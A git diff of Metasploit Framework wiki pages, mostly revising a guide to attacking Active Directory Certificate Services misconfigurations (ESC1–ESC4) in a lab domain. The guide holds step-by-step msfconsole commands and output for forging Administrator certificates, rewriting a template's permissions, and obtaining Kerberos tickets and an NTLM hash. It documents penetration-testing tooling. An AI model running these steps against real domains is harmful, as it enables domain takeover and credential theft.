that looks like `bundle exec ruby /home/tekwizz123/git/metasploit-framework/msfconsole`. Confirm this looks okay +and that you are using `bundle exec ruby` to execute `msfconsole`. If all looks good, hit the `ENTER` key to confirm. +At this point you should see Metasploit Framework open up. + +If you want to prevent this prompt in the future then simply remove the `"askParameters": true,` line from `launch.json`. + +Once in a debugging session, debug.gem supports the same commands as Pry in may cases, so the commands listed in the +Pry section above should work in the same manner. Additionally debug.gem also supports extra commands for things such as +tracing data. For more details refer to the command list at +which provides a detailed list of debug.gem's supported commands. For more information on the VSCode rdbg plugin, +refer to and . + +## RubyMine Debugging +RubyMine comes with its own built in debugger that is based off of the old `lib/debug.rb` library in Ruby, however it +has custom patches and modifications applied to it by the JetBrains team. To set it up, first clone the Git repository +for Metasploit-Framework locally, then go `File->Open` and click on the `metasploit-framework` folder to open it as a project. + +Once this is done, go to `Run->Edit Configurations` and click the plus sign to add a new configuration. Select +`Ruby`, and in the name field, enter a name that makes sense for you, such as `Metasploit Debug`. Under `Ruby Script`, +enter the full path to `msfconsole` on your local machine. Finally, set the SDK to either `Use Project SDK` or select +another Ruby SDK that RubyMine recognizes. + +You can add a Ruby SDK by going to `File->Settings->Languages and Frameworks->Ruby SDK and Gems` and clicking the plus sign. \ No newline at end of file diff --git a/docs/metasploit-framework.wiki/Using-Metasploit.md b/docs/metasploit-framework.wiki/Using-Metasploit.md index 5121fc394272a..476ea8bcedaf5 100644 --- a/docs/metasploit-framework.wiki/Using-Metasploit.md +++ b/docs/metasploit-framework.wiki/Using-Metasploit.md @@ -2,7 +2,6 @@ Depending on your skill level - if you have no experience with Metasploit, the following resources may be a better starting point: -* * * * diff --git a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index 6805bc0a7d437..a0ce7ccd6baba 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -2,7 +2,7 @@ Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server for testing purposes. -## Introduction to AD CS Vulnerabilities +# Introduction to AD CS Vulnerabilities ```mermaid flowchart TD escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert] @@ -13,9 +13,10 @@ flowchart TD users[Request certificates on behalf of other users] --> ESC3{{ESC3}} ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos] ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos] + ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr ``` -The chart above showcases how one can go about attacking three common AD CS +The chart above showcases how one can go about attacking four common AD CS vulnerabilities, taking advantage of various flaws in how certificate templates are configured on an Active Directory Certificate Server. @@ -27,20 +28,24 @@ and finally using these certificates to authenticate to the domain as the domain administrator via Kerberos. Each certificate template vulnerability that will be discussed here has a ESC code, such -as ESC1, ESC2, or ESC3. These ESC codes are taken from the original whitepaper that +as ESC1, ESC2. These ESC codes are taken from the original whitepaper that SpecterOps published which popularized these certificate template attacks, known as [Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf). In this paper Will Schroeder and Lee Christensen described 8 different domain escalation attacks that they found they could conduct via misconfigured certificate templates: -- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client - Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT +- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#using-the-esc1-vulnerability-to-get-a-certificate-as-the-domain-administrator]] - ESC2 - Domain escalation via No Issuance Requirements + Enrollable Any Purpose EKU or no EKU + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]] - ESC3 - Domain escalation via No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictions + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc3-to-gain-domain-administrator-privileges]] - ESC4 - Domain escalation via misconfigured certificate template access control + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]] - ESC5 - Domain escalation via vulnerable PKI AD Object Access Control - ESC6 - Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates @@ -68,8 +73,8 @@ post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-servi - ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`. -Currently Metasploit only supports attacking ESC1 to ESC3. As such, -this paper only covers exploiting ESC1 to ESC3 at this time. +Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such, +this page only covers exploiting ESC1 to ESC4 at this time. Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3 as the diagram notes above. This is because in ESC1, one has control over the @@ -91,7 +96,7 @@ certificates that are created using the vulnerable ESC2 certificate template will not work for domain authentication. This restriction does not apply for those certificates vulnerable to ESC2 which have the `Any Purpose` EKU applied to them. -Finally, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU +Next, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU is abused, and the attacker also needs to utilize two different misconfigured certificate templates in order to exploit the vulnerability. The EKU in question this time is the Certificate Request Agent EKU, aka OID 1.3.6.1.4.1.311.20.2.1, which allows one to enroll @@ -129,6 +134,8 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out which users or groups can use that certificate template to elevate their privileges. +At this time, the module is capable of identifying techniques ESC1 through ESC3. + Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in a specific certificate template, which is applied to the certificate template itself. Therefore, the module will also specify which users are @@ -177,10 +184,10 @@ View the full module info with the info, or info -d command. msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST DOMAIN => DAFOREST -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normal -USERNAME => normal -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normaluser -PASSWORD => normaluser +msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser +USERNAME => normaluser +msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass +PASSWORD => normalpass msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run @@ -300,22 +307,40 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > ``` -From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate tempalte. At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that useful for us. +From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, +whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions +prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate template. +At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that +useful for us. -Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their privileges. +Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on +the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN- +BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means +that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their +privileges. -Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack. ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but vulnerable to ESC3_TEMPLATE_2 attacks. +Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack. +ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but +vulnerable to ESC3_TEMPLATE_2 attacks. -We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack. +We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from +Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory +that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack. -Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and who's issuing CA allows any authenticated user to request it. +Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and +who's issuing CA allows any authenticated user to request it. -With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the `ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates. +With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the +`ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates. -## Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator -Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. Luckly we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why we can do this here. +# Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator +Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. +Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_SID` and `ALT_UPN` options to +specify who we would like to authenticate as instead. Note that this only works with certificate templates that are +vulnerable to ESC1 due to having the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set. -If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can quickly set this up: +If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can +quickly set this up: ```msf msf6 > use auxiliary/admin/dcerpc/icpr_cert @@ -327,10 +352,12 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser -SMBPass => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal -SMBUser => normal +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com ALT_UPN => Administrator@daforest.com msf6 auxiliary(admin/dcerpc/icpr_cert) > run @@ -338,6 +365,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Requesting a certificate... [+] 172.30.239.85:445 - The requested certificate was issued. +[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx [*] Auxiliary module execution completed @@ -368,10 +396,10 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template CERT_TEMPLATE => ESC2-Template msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser -SMBPass => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal -SMBUser => normal +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -388,8 +416,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): ploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -442,8 +470,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): ploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -481,8 +509,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -521,18 +549,27 @@ We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket grant domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information. # Exploiting ESC3 To Gain Domain Administrator Privileges -To exploit ESC3 vulnerable templates we will use a similar process to ESC2 templates but with slightly different steps. First, lets return to the earlier output where we can find several templates that are vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other principals (such as users or computers). - -The second part of this attack will then require that we co-sign requests for another certificate using the certificate that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being vulnerable to the ESC3_TEMPLATE_2 attack. +To exploit ESC3 vulnerable templates we will use a similar process to +[[ESC2|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]] templates but +with slightly different steps. First, let's return to the earlier output where we can find several templates that are +vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this +attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has +the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other +principals (such as users or computers). + +The second part of this attack will then require that we co-sign requests for another certificate using the certificate +that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do +this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being +vulnerable to the ESC3_TEMPLATE_2 attack. The list of ESC3_TEMPLATE_1 vulnerable templates is pretty short and consists of a single template: - ESC3-TEMPLATE-1 - Vulnerable to ESC3_TEMPLATE_1 and allows enrollment via any authenticated domain user. ESC3_TEMPLATE_2 are more plentiful though and we can find a few that are of interest: -- SubCA - Again as mentioned earlier can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector. +- SubCA - Again as mentioned earlier can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector. - ESC3-Template2 - Enrollable via any authenticated domain user. - User - Enrollable via any authenticated domain user. -- Administrator - Can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector. +- Administrator - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector. - Machine - No real overlap between Domain Computers and Authenticated Users I don't think? - DomainController - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector. @@ -572,10 +609,10 @@ Auxiliary action: View the full module info with the info, or info -d command. -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal -SMBUser => normal -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser -SMBPass => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 @@ -606,7 +643,7 @@ host service type name content info msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` -Next we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this: +Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this: ```msf msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx @@ -632,8 +669,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -684,8 +721,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -713,46 +750,207 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator` domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information. -# Getting A Kerberos Ticket -Once a certificate for a user has been claimed, that certificate can be used to issue a Kerberos ticket granting ticket -(TGT) which in tern can be used to authenticate to services. +# Exploiting ESC4 To Gain Domain Administrator Privileges +To exploit ESC4, we will require an account with write privileges over a certificate template object in Active +Directory. This involves finding an object with weak permissions defined within the `nTSecurityDescriptor` field. With +this object identified, we can modify it to reconfigure the template to be vulnerable to another ESC technique. -Ticket granting tickets can be requested using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by specifying -the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the `CERT_FILE`. -Certificates from Metasploit do not require a password, but if the certificate was generated from a source that added -one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` datastore option to the Domain Controller, then -run the `GET_TGT` action. +First, we will use the `icpr_cert` module in an attempt to exploit ESC1 (by setting `ALT_UPN`). This fails because +the `ESC4-Test` certificate template does not allow the certificate's subject name to be supplied in the request (the +`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field). ```msf -msf6 > use kerberos/get_ticket +msf6 > use auxiliary/admin/dcerpc/icpr_cert +msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +RHOSTS => 172.30.239.85 +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass +msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA +CA => daforest-WIN-BR0CCBA815B-CA +msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com +ALT_UPN => Administrator@daforest.com +msf6 auxiliary(admin/dcerpc/icpr_cert) > run +[*] Running module against 172.30.239.85 + +[-] 172.30.239.85:445 - There was an error while requesting the certificate. +[-] 172.30.239.85:445 - Denied by Policy Module +[-] 172.30.239.85:445 - Error details: +[-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer. +[-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name. +[*] Auxiliary module execution completed +msf6 auxiliary(admin/dcerpc/icpr_cert) > +``` -Matching Modules -================ +Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a +backup of the certificate data that can be used later. Next, the local certificate template data is read and used to +update the object in Active Directory. The local certificate template data can be modified to set a custom security +descriptor. - # Name Disclosure Date Rank Check Description - - ---- --------------- ---- ----- ----------- - 0 auxiliary/admin/kerberos/get_ticket normal No Kerberos TGT/TGS Ticket Requester +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85 +RHOSTS => 172.30.239.85 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser +USERNAME => normaluser +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass +PASSWORD => normalpass +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE +ACTION => UPDATE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true +VERBOSE => true +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 172.30.239.85 +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 172.30.239.85:389 Getting root DSE +[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json +[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` -Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/kerberos/get_ticket +Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut +to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds. -[*] Using auxiliary/admin/kerberos/get_ticket -msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=192.168.159.10 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_192.168.159.10_windows.ad.cs_287833.pfx -[*] Running module against 192.168.159.10 +```msf +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous +msf6 auxiliary(admin/dcerpc/icpr_cert) > run +[*] Running module against 172.30.239.85 -[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local -[+] 192.168.159.10:88 - Received a valid TGT-Response -[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin +[+] 172.30.239.85:445 - The requested certificate was issued. +[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com +[*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +[*] Auxiliary module execution completed +msf6 auxiliary(admin/dcerpc/icpr_cert) > +``` + +Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by +setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > previous +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json +TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 172.30.239.85 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 172.30.239.85:389 Getting root DSE +[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +At this point the certificate template's configuration has been restored and the operator has a certificate that can be +used to authenticate to Active Directory as the Domain Admin. + +# Authenticating With A Certificate +Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take +further actions once a certificate has been issued for a particular identity (such as a Domain Admin user). + +## Authenticating To Kerberos +Certificates can be used to authenticate to Kerberos using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by +specifying the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the +`CERT_FILE`. Certificates from Metasploit do not require a password, but if the certificate was generated from a source +that added one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` to the Domain Controller which is the +Key Distribution Center (KDC) for the Active Directory environment. + +### Getting An NT Hash +Certificates can be used to obtain the NTLM hash of an account with the PKINIT extension. To request the hash, set the +action to `GET_HASH`. + +```msf +msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +[*] Running module against 172.30.239.85 + +[+] 172.30.239.85:88 - Received a valid TGT-Response +[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_324339.bin +[*] 172.30.239.85:88 - Getting NTLM hash for Administrator@daforest.com +[+] 172.30.239.85:88 - Received a valid TGS-Response +[*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin +[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f +[*] Auxiliary module execution completed +msf6 auxiliary(admin/kerberos/get_ticket) > +``` + +### Getting A Kerberos Ticket +Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which in turn can be used to authenticate to +services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action. + +```msf +msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx +[*] Running module against 172.30.239.85 + +[*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com +[+] 172.30.239.85:88 - Received a valid TGT-Response +[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin [*] Auxiliary module execution completed msf6 auxiliary(admin/kerberos/get_ticket) > klist Kerberos Cache ============== -host principal sname issued status path ----- --------- ----- ------ ------ ---- -192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin +host principal sname issued status path +---- --------- ----- ------ ------ ---- +172.30.239.85 Administrator@daforest.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin msf6 auxiliary(admin/kerberos/get_ticket) > ``` Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will automatically be used in the future to request ticket granting services (TGS) for authentication to specific services. + +## Authenticating To LDAP +Certificates can also be used to directly authenticate to LDAP using schannel. Metasploit modules that use the builtin +LDAP library (including `auxiliary/gather/ldap_query`) offer this as an authentication option that can be enabled. To +use schannel authentication a few options must be set. + +* `LDAP::Auth` -- must be set to `schannel` +* `LDAP::CertFile` -- must be set to the PFX certificate file with which to authenticate +* `SSL` -- must be set to 